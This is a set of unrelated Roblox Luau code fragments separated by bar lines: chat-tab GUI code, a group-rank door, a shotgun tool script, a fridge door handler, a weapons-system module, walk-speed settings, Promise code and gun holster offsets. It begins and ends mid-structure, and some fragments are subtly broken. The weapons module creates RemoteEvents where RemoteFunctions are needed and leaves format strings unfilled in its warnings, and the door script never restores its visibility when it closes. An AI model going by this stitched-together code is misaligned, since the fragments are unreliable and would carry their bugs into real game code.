}
|
--[[
By
Precious
Beam
--]]
|
game.Players.PlayerAdded:connect(function(player)
local datastore = game:GetService("DataStoreService"):GetDataStore(player.Name.."Stats")
player:WaitForChild("Data")
wait(1)
local stats = player:FindFirstChild("Data"):GetChildren()
for i = 1, #stats do
stats[i].Value = datastore:GetAsync(stats[i].Name)
print("stat numba "..i.." has been found")
end
end)
|
--[=[
@param name string
@param inboundMiddleware ServerMiddleware?
@param outboundMiddleware ServerMiddleware?
@return RemoteSignal
]=]
|
function ServerComm:CreateSignal(name: string, inboundMiddleware: ServerMiddleware?, outboundMiddleware: ServerMiddleware?)
return Comm.Server.CreateSignal(self._instancesFolder, name, inboundMiddleware, outboundMiddleware)
end
|
--////////////////////////////// Methods
--//////////////////////////////////////
|
local methods = {}
methods.__index = methods
local function CreateGuiObjects()
local BaseFrame = Instance.new("Frame")
BaseFrame.Selectable = false
BaseFrame.Size = UDim2.new(1, 0, 1, 0)
BaseFrame.BackgroundTransparency = 1
local gapOffsetX = 1
local gapOffsetY = 1
local BackgroundFrame = Instance.new("Frame")
BackgroundFrame.Selectable = false
BackgroundFrame.Name = "BackgroundFrame"
BackgroundFrame.Size = UDim2.new(1, -gapOffsetX * 2, 1, -gapOffsetY * 2)
BackgroundFrame.Position = UDim2.new(0, gapOffsetX, 0, gapOffsetY)
BackgroundFrame.BackgroundTransparency = 1
BackgroundFrame.Parent = BaseFrame
local UnselectedFrame = Instance.new("Frame")
UnselectedFrame.Selectable = false
UnselectedFrame.Name = "UnselectedFrame"
UnselectedFrame.Size = UDim2.new(1, 0, 1, 0)
UnselectedFrame.Position = UDim2.new(0, 0, 0, 0)
UnselectedFrame.BorderSizePixel = 0
UnselectedFrame.BackgroundColor3 = ChatSettings.ChannelsTabUnselectedColor
UnselectedFrame.BackgroundTransparency = 0.6
UnselectedFrame.Parent = BackgroundFrame
local SelectedFrame = Instance.new("Frame")
SelectedFrame.Selectable = false
SelectedFrame.Name = "SelectedFrame"
SelectedFrame.Size = UDim2.new(1, 0, 1, 0)
SelectedFrame.Position = UDim2.new(0, 0, 0, 0)
SelectedFrame.BorderSizePixel = 0
SelectedFrame.BackgroundColor3 = ChatSettings.ChannelsTabSelectedColor
SelectedFrame.BackgroundTransparency = 1
SelectedFrame.Parent = BackgroundFrame
local SelectedFrameBackgroundImage = Instance.new("ImageLabel")
SelectedFrameBackgroundImage.Selectable = false
SelectedFrameBackgroundImage.Name = "BackgroundImage"
SelectedFrameBackgroundImage.BackgroundTransparency = 1
SelectedFrameBackgroundImage.BorderSizePixel = 0
SelectedFrameBackgroundImage.Size = UDim2.new(1, 0, 1, 0)
SelectedFrameBackgroundImage.Position = UDim2.new(0, 0, 0, 0)
SelectedFrameBackgroundImage.ScaleType = Enum.ScaleType.Slice
SelectedFrameBackgroundImage.Parent = SelectedFrame
SelectedFrameBackgroundImage.BackgroundTransparency = 0.6 - 1
local rate = 1.2 * 1
SelectedFrameBackgroundImage.BackgroundColor3 = Color3.fromRGB(78 * rate, 84 * rate, 96 * rate)
local borderXOffset = 2
local blueBarYSize = 4
local BlueBarLeft = Instance.new("ImageLabel")
BlueBarLeft.Selectable = false
BlueBarLeft.Size = UDim2.new(0.5, -borderXOffset, 0, blueBarYSize)
BlueBarLeft.BackgroundTransparency = 1
BlueBarLeft.ScaleType = Enum.ScaleType.Slice
BlueBarLeft.SliceCenter = Rect.new(3,3,32,21)
BlueBarLeft.Parent = SelectedFrame
local BlueBarRight = BlueBarLeft:Clone()
BlueBarRight.Parent = SelectedFrame
BlueBarLeft.Position = UDim2.new(0, borderXOffset, 1, -blueBarYSize)
BlueBarRight.Position = UDim2.new(0.5, 0, 1, -blueBarYSize)
BlueBarLeft.Image = "rbxasset://textures/ui/Settings/Slider/SelectedBarLeft.png"
BlueBarRight.Image = "rbxasset://textures/ui/Settings/Slider/SelectedBarRight.png"
BlueBarLeft.Name = "BlueBarLeft"
BlueBarRight.Name = "BlueBarRight"
local NameTag = Instance.new("TextButton")
NameTag.Selectable = ChatSettings.GamepadNavigationEnabled
NameTag.Size = UDim2.new(1, 0, 1, 0)
NameTag.Position = UDim2.new(0, 0, 0, 0)
NameTag.BackgroundTransparency = 1
NameTag.Font = ChatSettings.DefaultFont
NameTag.TextSize = ChatSettings.ChatChannelsTabTextSize
NameTag.TextColor3 = Color3.new(1, 1, 1)
NameTag.TextStrokeTransparency = 0.75
NameTag.Parent = BackgroundFrame
local NameTagNonSelect = NameTag:Clone()
local NameTagSelect = NameTag:Clone()
NameTagNonSelect.Parent = UnselectedFrame
NameTagSelect.Parent = SelectedFrame
NameTagNonSelect.Font = Enum.Font.SourceSans
NameTagNonSelect.Active = false
NameTagSelect.Active = false
local NewMessageIconFrame = Instance.new("Frame")
NewMessageIconFrame.Selectable = false
NewMessageIconFrame.Size = UDim2.new(0, 18, 0, 18)
NewMessageIconFrame.Position = UDim2.new(0.8, -9, 0.5, -9)
NewMessageIconFrame.BackgroundTransparency = 1
NewMessageIconFrame.Parent = BackgroundFrame
local NewMessageIcon = Instance.new("ImageLabel")
NewMessageIcon.Selectable = false
NewMessageIcon.Size = UDim2.new(1, 0, 1, 0)
NewMessageIcon.BackgroundTransparency = 1
NewMessageIcon.Image = "rbxasset://textures/ui/Chat/MessageCounter.png"
NewMessageIcon.Visible = false
NewMessageIcon.Parent = NewMessageIconFrame
local NewMessageIconText = Instance.new("TextLabel")
NewMessageIconText.Selectable = false
NewMessageIconText.BackgroundTransparency = 1
NewMessageIconText.Size = UDim2.new(0, 13, 0, 9)
NewMessageIconText.Position = UDim2.new(0.5, -7, 0.5, -7)
NewMessageIconText.Font = ChatSettings.DefaultFont
NewMessageIconText.TextSize = 14
NewMessageIconText.TextColor3 = Color3.new(1, 1, 1)
NewMessageIconText.Text = ""
NewMessageIconText.Parent = NewMessageIcon
return BaseFrame, NameTag, NameTagNonSelect, NameTagSelect, NewMessageIcon, UnselectedFrame, SelectedFrame
end
function methods:Destroy()
self.GuiObject:Destroy()
end
function methods:UpdateMessagePostedInChannel(ignoreActive)
if (self.Active and (ignoreActive ~= true)) then return end
local count = self.UnreadMessageCount + 1
self.UnreadMessageCount = count
local label = self.NewMessageIcon
label.Visible = true
label.TextLabel.Text = (count < 100) and tostring(count) or "!"
local tweenTime = 0.15
local tweenPosOffset = UDim2.new(0, 0, -0.1, 0)
local curPos = label.Position
local outPos = curPos + tweenPosOffset
local easingDirection = Enum.EasingDirection.Out
local easingStyle = Enum.EasingStyle.Quad
label.Position = UDim2.new(0, 0, -0.15, 0)
label:TweenPosition(UDim2.new(0, 0, 0, 0), easingDirection, easingStyle, tweenTime, true)
end
function methods:SetActive(active)
self.Active = active
self.UnselectedFrame.Visible = not active
self.SelectedFrame.Visible = active
if (active) then
self.UnreadMessageCount = 0
self.NewMessageIcon.Visible = false
self.NameTag.Font = Enum.Font.SourceSansBold
else
self.NameTag.Font = Enum.Font.SourceSans
end
end
function methods:SetTextSize(textSize)
self.NameTag.TextSize = textSize
end
function methods:FadeOutBackground(duration)
self.AnimParams.Background_TargetTransparency = 1
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:FadeInBackground(duration)
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:FadeOutText(duration)
self.AnimParams.Text_TargetTransparency = 1
self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
self.AnimParams.TextStroke_TargetTransparency = 1
self.AnimParams.TextStroke_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:FadeInText(duration)
self.AnimParams.Text_TargetTransparency = 0
self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
self.AnimParams.TextStroke_TargetTransparency = 0.75
self.AnimParams.TextStroke_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:AnimGuiObjects()
self.UnselectedFrame.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency
self.SelectedFrame.BackgroundImage.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency
self.SelectedFrame.BlueBarLeft.ImageTransparency = self.AnimParams.Background_CurrentTransparency
self.SelectedFrame.BlueBarRight.ImageTransparency = self.AnimParams.Background_CurrentTransparency
self.NameTagNonSelect.TextTransparency = self.AnimParams.Background_CurrentTransparency
self.NameTagNonSelect.TextStrokeTransparency = self.AnimParams.Background_CurrentTransparency
self.NameTag.TextTransparency = self.AnimParams.Text_CurrentTransparency
self.NewMessageIcon.ImageTransparency = self.AnimParams.Text_CurrentTransparency
self.WhiteTextNewMessageNotification.TextTransparency = self.AnimParams.Text_CurrentTransparency
self.NameTagSelect.TextTransparency = self.AnimParams.Text_CurrentTransparency
self.NameTag.TextStrokeTransparency = self.AnimParams.TextStroke_CurrentTransparency
self.WhiteTextNewMessageNotification.TextStrokeTransparency = self.AnimParams.TextStroke_CurrentTransparency
self.NameTagSelect.TextStrokeTransparency = self.AnimParams.TextStroke_CurrentTransparency
end
function methods:InitializeAnimParams()
self.AnimParams.Text_TargetTransparency = 0
self.AnimParams.Text_CurrentTransparency = 0
self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(0)
self.AnimParams.TextStroke_TargetTransparency = 0.75
self.AnimParams.TextStroke_CurrentTransparency = 0.75
self.AnimParams.TextStroke_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(0)
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_CurrentTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(0)
end
function methods:Update(dtScale)
self.AnimParams.Background_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.Background_CurrentTransparency,
self.AnimParams.Background_TargetTransparency,
self.AnimParams.Background_NormalizedExptValue,
dtScale
)
self.AnimParams.Text_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.Text_CurrentTransparency,
self.AnimParams.Text_TargetTransparency,
self.AnimParams.Text_NormalizedExptValue,
dtScale
)
self.AnimParams.TextStroke_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.TextStroke_CurrentTransparency,
self.AnimParams.TextStroke_TargetTransparency,
self.AnimParams.TextStroke_NormalizedExptValue,
dtScale
)
self:AnimGuiObjects()
end
|
----------------------------------------
|
local Ghost = script.Parent
local Player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
local Character = Player.Character
local Humanoid = Character.Humanoid
local Alive = true
|
--[[
INSTRUCTIONS ARE BELOW.
Look in the Configuration, there are 2 IntValues, 1 is GroupId and the other is RankId. The rank
Id is the numbers that you set the rank to in your group, the numbers are (1-255), it will not
only just work for that rank level, it will work for the rank and ABOVE. The GroupId is the numbers
at the end of your group's URL.Copy those numbers and but it in the Value section for GroupId. Now
You have finished the set up for the group door! WARNING : DONT TOUCH ANYTHING DOWN THERE...
]]
|
local config = script.Parent.Configuration
script.Parent.Touched:connect(function(part)
if part.Parent and Game:GetService('Players'):GetPlayerFromCharacter(part.Parent) then
local player = Game:GetService('Players'):GetPlayerFromCharacter(part.Parent)
if player:GetRankInGroup(config.GroupId.Value) >= config.RankId.Value then
script.Parent.Transparency = 1
script.Parent.CanCollide = false
wait(2)
script.Parent.Transparency = 1
script.Parent.CanCollide = true
end
end
end)
|
-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000
|
function RayCast(startPos, vec, rayLength)
local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
if hitObject and hitPos then
local distance = rayLength - (hitPos - startPos).magnitude
if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then
-- there is a chance here for potential infinite recursion
return RayCast(hitPos, vec, distance)
end
end
return hitObject, hitPos
end
function TagHumanoid(humanoid, player)
-- Add more tags here to customize what tags are available.
while humanoid:FindFirstChild('creator') do
humanoid:FindFirstChild('creator'):Destroy()
end
local creatorTag = Instance.new("ObjectValue")
creatorTag.Value = player
creatorTag.Name = "creator"
creatorTag.Parent = humanoid
DebrisService:AddItem(creatorTag, 1.5)
local weaponIconTag = Instance.new("StringValue")
weaponIconTag.Value = IconURL
weaponIconTag.Name = "icon"
weaponIconTag.Parent = creatorTag
end
local function CreateBullet(bulletPos)
local bullet = Instance.new('Part', Workspace)
bullet.FormFactor = Enum.FormFactor.Custom
bullet.Size = Vector3.new(0.1, 0.1, 0.1)
bullet.BrickColor = BrickColor.new("Black")
bullet.Shape = Enum.PartType.Block
bullet.CanCollide = false
bullet.CFrame = CFrame.new(bulletPos)
bullet.Anchored = true
bullet.TopSurface = Enum.SurfaceType.Smooth
bullet.BottomSurface = Enum.SurfaceType.Smooth
bullet.Name = 'Bullet'
DebrisService:AddItem(bullet, 2.5)
return bullet
end
local function Reload()
if not Reloading then
Reloading = true
-- Don't reload if you are already full or have no extra ammo
if AmmoInClip ~= ClipSize and SpareAmmo > 0 then
if RecoilTrack then
RecoilTrack:Stop()
end
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = true
end
end
script.Parent.Handle.Reload:Play()
wait(.75)
script.Parent.Handle.Reload:Play()
wait(.75)
script.Parent.Handle.Reload:Play()
wait(.75)
script.Parent.Handle.Reload:Play()
wait(.75)
script.Parent.Handle.PumpSound:Play()
-- Only use as much ammo as you have
local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
AmmoInClip = AmmoInClip + ammoToUse
SpareAmmo = SpareAmmo - ammoToUse
UpdateAmmo(AmmoInClip)
WeaponGui.Reload.Visible = false
end
Reloading = false
end
end
function OnFire()
if IsShooting then return end
if MyHumanoid and MyHumanoid.Health > 0 then
if RecoilTrack and AmmoInClip > 0 then
RecoilTrack:Play()
end
IsShooting = true
while LeftButtonDown and AmmoInClip > 0 and not Reloading do
if Spread and not DecreasedAimLastShot then
Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
UpdateCrosshair(Spread)
end
DecreasedAimLastShot = not DecreasedAimLastShot
if Handle:FindFirstChild('FireSound') then
Handle.FireSound:Play()
Handle.Flash.Enabled = true
end
if MyMouse then
for i = 1,12 do -- Shotgun effect :P
local targetPoint = MyMouse.Hit.p
local shootDirection = (targetPoint - Handle.Position).unit
-- Adjust the shoot direction randomly off by a little bit to account for recoil
shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread) * shootDirection
local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
local bullet
-- Create a bullet here
if hitObject then
bullet = CreateBullet(bulletPos)
end
if hitObject and hitObject.Parent then
local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid")
if hitHumanoid then
local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
if MyPlayer.Neutral or hitPlayer then
TagHumanoid(hitHumanoid, MyPlayer)
hitHumanoid:TakeDamage(Damage)
if bullet then
bullet:Destroy()
bullet = nil
--bullet.Transparency = 1
end
Spawn(UpdateTargetHit)
elseif not hitPlayer then
TagHumanoid(hitHumanoid, MyPlayer)
hitHumanoid:TakeDamage(Damage)
if bullet then
bullet:Destroy()
bullet = nil
--bullet.Transparency = 1
end
Spawn(UpdateTargetHit)
end
end
end
end
AmmoInClip = AmmoInClip - 1
UpdateAmmo(AmmoInClip)
end
Handle.PumpSound:Play()
wait(.2); Handle.Flash.Enabled = false
wait(FireRate)
OnMouseUp()
end
IsShooting = false
if AmmoInClip == 0 then
Handle.Tick:Play()
WeaponGui.Reload.Visible = true
end
if RecoilTrack then
RecoilTrack:Stop()
end
end
end
local TargetHits = 0
function UpdateTargetHit()
TargetHits = TargetHits + 1
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = true
end
wait(0.5)
TargetHits = TargetHits - 1
if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = false
end
end
function UpdateCrosshair(value, mouse)
if WeaponGui then
local absoluteY = 650
WeaponGui.Crosshair:TweenSize(
UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
0.33)
end
end
function UpdateAmmo(value)
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then
WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = false
end
end
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then
WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
end
end
function OnMouseDown()
LeftButtonDown = true
OnFire()
end
function OnMouseUp()
LeftButtonDown = false
end
function OnKeyDown(key)
if string.lower(key) == 'r' then
Reload()
end
end
function OnEquipped(mouse)
Handle.EquipSound:Play()
RecoilAnim = WaitForChild(Tool, 'Recoil')
FireSound = WaitForChild(Handle, 'FireSound')
MyCharacter = Tool.Parent
MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter)
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
MyTorso = MyCharacter:FindFirstChild('Torso')
MyMouse = mouse
WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone()
if WeaponGui and MyPlayer then
WeaponGui.Parent = MyPlayer.PlayerGui
UpdateAmmo(AmmoInClip)
end
if RecoilAnim then
RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
end
if MyMouse then
-- Disable mouse icon
MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154"
MyMouse.Button1Down:connect(OnMouseDown)
MyMouse.Button1Up:connect(OnMouseUp)
MyMouse.KeyDown:connect(OnKeyDown)
end
end
|
-- Handle event fire
|
local function toggleDoor(player, door)
local motor
if door == "freezer" then
motor = freezerMotor
elseif door == "door" then
motor = doorMotor
else
return
end
-- Check distance to the character's Torso. If too far, don't do anything
if player.Character and player.Character:FindFirstChild("Torso") then
local torso = player.Character:FindFirstChild("Torso")
local toTorso = torso.Position - fridge.FreezerPadding.Position
if toTorso.magnitude < clickDistance then
if open then
motor.DesiredAngle = 0
open = false
else
motor.DesiredAngle = math.pi/2
open = true
end
if door == "freezer" then
fridge.FreezerBlock.Smoke.Enabled = open
end
end
end
end
fridge.DoorPadding.ROBLOXInteractionEvent.OnServerEvent:connect(function(player, arguments)
toggleDoor(player, "door")
end)
fridge.Door.ROBLOXInteractionEvent.OnServerEvent:connect(function(player, arguments)
toggleDoor(player, "door")
end)
fridge.FreezerPadding.ROBLOXInteractionEvent.OnServerEvent:connect(function(player, arguments)
toggleDoor(player, "freezer")
end)
fridge.FreezerDoor.ROBLOXInteractionEvent.OnServerEvent:connect(function(player, arguments)
toggleDoor(player, "freezer")
end)
|
--Set up WeaponTypes lookup table
|
do
local function onNewWeaponType(weaponTypeModule)
if not weaponTypeModule:IsA("ModuleScript") then
return
end
local weaponTypeName = weaponTypeModule.Name
xpcall(function()
coroutine.wrap(function()
local weaponType = require(weaponTypeModule)
assert(typeof(weaponType) == "table", string.format("WeaponType \"%s\" did not return a valid table", weaponTypeModule:GetFullName()))
WEAPON_TYPES_LOOKUP[weaponTypeName] = weaponType
end)()
end, function(errMsg)
warn(string.format("Error while loading %s: %s", weaponTypeModule:GetFullName(), errMsg))
warn(debug.traceback())
end)
end
for _, child in pairs(WeaponTypes:GetChildren()) do
onNewWeaponType(child)
end
WeaponTypes.ChildAdded:Connect(onNewWeaponType)
end
local WeaponsSystem = {}
WeaponsSystem.didSetup = false
WeaponsSystem.knownWeapons = {}
WeaponsSystem.connections = {}
WeaponsSystem.networkFolder = nil
WeaponsSystem.remoteEvents = {}
WeaponsSystem.remoteFunctions = {}
WeaponsSystem.currentWeapon = nil
WeaponsSystem.aimRayCallback = nil
WeaponsSystem.CurrentWeaponChanged = Instance.new("BindableEvent")
local NetworkingCallbacks = require(WeaponsSystemFolder:WaitForChild("NetworkingCallbacks"))
NetworkingCallbacks.WeaponsSystem = WeaponsSystem
local _damageCallback = nil
local _getTeamCallback = nil
function WeaponsSystem.setDamageCallback(cb)
_damageCallback = cb
end
function WeaponsSystem.setGetTeamCallback(cb)
_getTeamCallback = cb
end
function WeaponsSystem.setup()
if WeaponsSystem.didSetup then
warn("Warning: trying to run WeaponsSystem setup twice on the same module.")
return
end
print(script.Parent:GetFullName(), "is now active.")
WeaponsSystem.doingSetup = true
--Setup network routing
if IsServer then
local networkFolder = Instance.new("Folder")
networkFolder.Name = "Network"
for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do
local remoteEvent = Instance.new("RemoteEvent")
remoteEvent.Name = remoteEventName
remoteEvent.Parent = networkFolder
local callback = NetworkingCallbacks[remoteEventName]
if not callback then
--Connect a no-op function to ensure the queue doesn't pile up.
warn("There is no server callback implemented for the WeaponsSystem RemoteEvent \"%s\"!")
warn("A default no-op function will be implemented so that the queue cannot be abused.")
callback = function() end
end
WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnServerEvent:Connect(function(...)
callback(...)
end)
WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent
end
for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do
local remoteFunc = Instance.new("RemoteEvent")
remoteFunc.Name = remoteFuncName
remoteFunc.Parent = networkFolder
local callback = NetworkingCallbacks[remoteFuncName]
if not callback then
--Connect a no-op function to ensure the queue doesn't pile up.
warn("There is no server callback implemented for the WeaponsSystem RemoteFunction \"%s\"!")
warn("A default no-op function will be implemented so that the queue cannot be abused.")
callback = function() end
end
remoteFunc.OnServerInvoke = function(...)
return callback(...)
end
WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc
end
networkFolder.Parent = WeaponsSystemFolder
WeaponsSystem.networkFolder = networkFolder
else
WeaponsSystem.StarterGui = game:GetService("StarterGui")
WeaponsSystem.camera = ShoulderCamera.new(WeaponsSystem)
WeaponsSystem.gui = WeaponsGui.new(WeaponsSystem)
if ConfigurationValues.SprintEnabled.Value then
WeaponsSystem.camera:setSprintEnabled(ConfigurationValues.SprintEnabled.Value)
end
if ConfigurationValues.SlowZoomWalkEnabled.Value then
WeaponsSystem.camera:setSlowZoomWalkEnabled(ConfigurationValues.SlowZoomWalkEnabled.Value)
end
local networkFolder = WeaponsSystemFolder:WaitForChild("Network", math.huge)
for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do
coroutine.wrap(function()
local remoteEvent = networkFolder:WaitForChild(remoteEventName, math.huge)
local callback = NetworkingCallbacks[remoteEventName]
if callback then
WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnClientEvent:Connect(function(...)
callback(...)
end)
end
WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent
end)()
end
for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do
coroutine.wrap(function()
local remoteFunc = networkFolder:WaitForChild(remoteFuncName, math.huge)
local callback = NetworkingCallbacks[remoteFuncName]
if callback then
remoteFunc.OnClientInvoke = function(...)
return callback(...)
end
end
WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc
end)()
end
Players.LocalPlayer.CharacterAdded:Connect(WeaponsSystem.onCharacterAdded)
if Players.LocalPlayer.Character then
WeaponsSystem.onCharacterAdded(Players.LocalPlayer.Character)
end
WeaponsSystem.networkFolder = networkFolder
--WeaponsSystem.camera:setEnabled(true)
end
--Setup weapon tools and listening
WeaponsSystem.connections.weaponAdded = CollectionService:GetInstanceAddedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponAdded)
WeaponsSystem.connections.weaponRemoved = CollectionService:GetInstanceRemovedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponRemoved)
for _, instance in pairs(CollectionService:GetTagged(WEAPON_TAG)) do
WeaponsSystem.onWeaponAdded(instance)
end
WeaponsSystem.doingSetup = false
WeaponsSystem.didSetup = true
end
function WeaponsSystem.onCharacterAdded(character)
-- Make it so players unequip weapons while seated, then reequip weapons when they become unseated
local humanoid = character:WaitForChild("Humanoid")
WeaponsSystem.connections.seated = humanoid.Seated:Connect(function(isSeated)
if isSeated then
WeaponsSystem.seatedWeapon = character:FindFirstChildOfClass("Tool")
humanoid:UnequipTools()
WeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)
else
WeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
humanoid:EquipTool(WeaponsSystem.seatedWeapon)
end
end)
end
function WeaponsSystem.shutdown()
if not WeaponsSystem.didSetup then
return
end
for _, weapon in pairs(WeaponsSystem.knownWeapons) do
weapon:onDestroyed()
end
WeaponsSystem.knownWeapons = {}
if IsServer and WeaponsSystem.networkFolder then
WeaponsSystem.networkFolder:Destroy()
end
WeaponsSystem.networkFolder = nil
WeaponsSystem.remoteEvents = {}
WeaponsSystem.remoteFunctions = {}
for _, connection in pairs(WeaponsSystem.connections) do
if typeof(connection) == "RBXScriptConnection" then
connection:Disconnect()
end
end
WeaponsSystem.connections = {}
end
function WeaponsSystem.getWeaponTypeFromTags(instance)
for _, tag in pairs(CollectionService:GetTags(instance)) do
local weaponTypeFound = WEAPON_TYPES_LOOKUP[tag]
if weaponTypeFound then
return weaponTypeFound
end
end
return nil
end
function WeaponsSystem.createWeaponForInstance(weaponInstance)
coroutine.wrap(function()
local weaponType = WeaponsSystem.getWeaponTypeFromTags(weaponInstance)
if not weaponType then
local weaponTypeObj = weaponInstance:WaitForChild("WeaponType")
if weaponTypeObj and weaponTypeObj:IsA("StringValue") then
local weaponTypeName = weaponTypeObj.Value
local weaponTypeFound = WEAPON_TYPES_LOOKUP[weaponTypeName]
if not weaponTypeFound then
warn(string.format("Cannot find the weapon type \"%s\" for the instance %s!", weaponTypeName, weaponInstance:GetFullName()))
return
end
weaponType = weaponTypeFound
else
warn("Could not find a WeaponType tag or StringValue for the instance ", weaponInstance:GetFullName())
return
end
end
-- Since we might have yielded while trying to get the WeaponType, we need to make sure not to continue
-- making a new weapon if something else beat this iteration.
if WeaponsSystem.getWeaponForInstance(weaponInstance) then
warn("Already got ", weaponInstance:GetFullName())
warn(debug.traceback())
return
end
-- We should be pretty sure we got a valid weaponType by now
assert(weaponType, "Got invalid weaponType")
local weapon = weaponType.new(WeaponsSystem, weaponInstance)
WeaponsSystem.knownWeapons[weaponInstance] = weapon
end)()
end
function WeaponsSystem.getWeaponForInstance(weaponInstance)
if not typeof(weaponInstance) == "Instance" then
warn("WeaponsSystem.getWeaponForInstance(weaponInstance): 'weaponInstance' was not an instance.")
return nil
end
return WeaponsSystem.knownWeapons[weaponInstance]
end
|
-- you can mess with these settings
|
local easingtime = 0.1 --0~1
local walkspeeds = {
enabled = true;
walkingspeed = 10;
backwardsspeed = 6;
sidewaysspeed = 8;
diagonalspeed = 9;
runningspeed = 14;
runningFOV= 80;
}
|
--[=[
Rejects the promise with the values given
@param ... T -- Params to reject with
]=]
|
function Promise:Reject(...)
self:_reject({...}, select("#", ...))
end
function Promise:_reject(values, valuesLength)
if not self._pendingExecuteList then
return
end
self._rejected = values
self._valuesLength = valuesLength
local list = self._pendingExecuteList
self._pendingExecuteList = nil
for _, data in pairs(list) do
self:_executeThen(unpack(data))
end
-- Check for uncaught exceptions
if self._unconsumedException and self._valuesLength > 0 then
task.defer(function()
-- Yield to end of frame, giving control back to Roblox.
-- This is the equivalent of giving something back to a task manager.
if self._unconsumedException then
local errOutput = self:_toHumanReadable(self._rejected[1])
if ENABLE_TRACEBACK then
warn(("[Promise] - Uncaught exception in promise\n\n%q\n\n%s")
:format(errOutput, self._source))
else
warn(("[Promise] - Uncaught exception in promise: %q")
:format(errOutput))
end
end
end)
end
end
function Promise:_toHumanReadable(data)
if type(data) == "table" then
local errOutput
local ok = pcall(function()
errOutput = HttpService:JSONEncode(data)
end)
if not ok then
errOutput = tostring(data)
end
return errOutput
else
return tostring(data)
end
end
|
----------------------------------------------------------------------------------------------------
--------------------=[ CFRAME ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableHolster = true
,HolsterTo = 'UpperTorso' -- Put the name of the body part you wanna holster to
,HolsterPos = CFrame.new(0.4,-0.4,-0.6) * CFrame.Angles(math.rad(90),math.rad(120),math.rad(-90))-- x, y, and z | Up, left right, and rotate, only change the middle value of CFrame.Angles to change where gun is pointed
,RightArmPos = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server
,LeftArmPos = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-25)) --server
,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))
,RightPos = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client
